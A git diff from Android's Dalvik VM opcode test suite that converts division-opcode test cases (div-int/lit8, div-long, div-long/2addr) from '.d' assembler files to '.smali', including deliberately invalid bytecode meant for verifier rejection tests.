--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_6.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -17895697
-       div-int/lit8 v0, v2, -30
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali
new file mode 100644
index 0000000..35cb679
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit8 v0, v2, -30
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d
deleted file mode 100644
index 0d4f492..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_7.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali
new file mode 100644
index 0000000..0ac82f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d
deleted file mode 100644
index ee80b01..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_8.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit8 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali
new file mode 100644
index 0000000..c300493
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d
deleted file mode 100644
index 466cf0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_9.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 2147483647
-       div-int/lit8 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali
new file mode 100644
index 0000000..3ee0e5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit8 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d
deleted file mode 100644
index fdf2445..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_1.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali
new file mode 100644
index 0000000..994e7ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_1.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d
deleted file mode 100644
index e72e2a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       div-long v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali
new file mode 100644
index 0000000..f898d6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d
deleted file mode 100644
index 6a43649..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_3.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v10, 1234
-       div-long v0, v10, v12
-       return-wide v12
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali
new file mode 100644
index 0000000..2ee3000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_3.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v10, 1234
+       div-long v0, v10, v12
+       return-wide v12
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali
new file mode 100644
index 0000000..b00da71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_long/d/T_div_long_4;
+.super Ljava/lang/Object;
+.source "T_div_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    div-long v0, p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d
deleted file mode 100644
index 648b110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_5.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali
new file mode 100644
index 0000000..5607759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_5.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d
deleted file mode 100644
index b2a6d0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_6.java
-.class public dot.junit.opcodes.div_long.d.T_div_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali
new file mode 100644
index 0000000..342f8b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long/d/T_div_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_6.java"
+.class  public Ldot/junit/opcodes/div_long/d/T_div_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long v0, v10, v14
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d
deleted file mode 100644
index 0ae9ff3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_1.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali
new file mode 100644
index 0000000..53b3a26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d
deleted file mode 100644
index f01fcf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_2.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       div-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali
new file mode 100644
index 0000000..55e7042
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d
deleted file mode 100644
index 09e48c3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_3.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 1234
-       div-long/2addr v0, v12
-       return-wide v10
-.end method
-
-
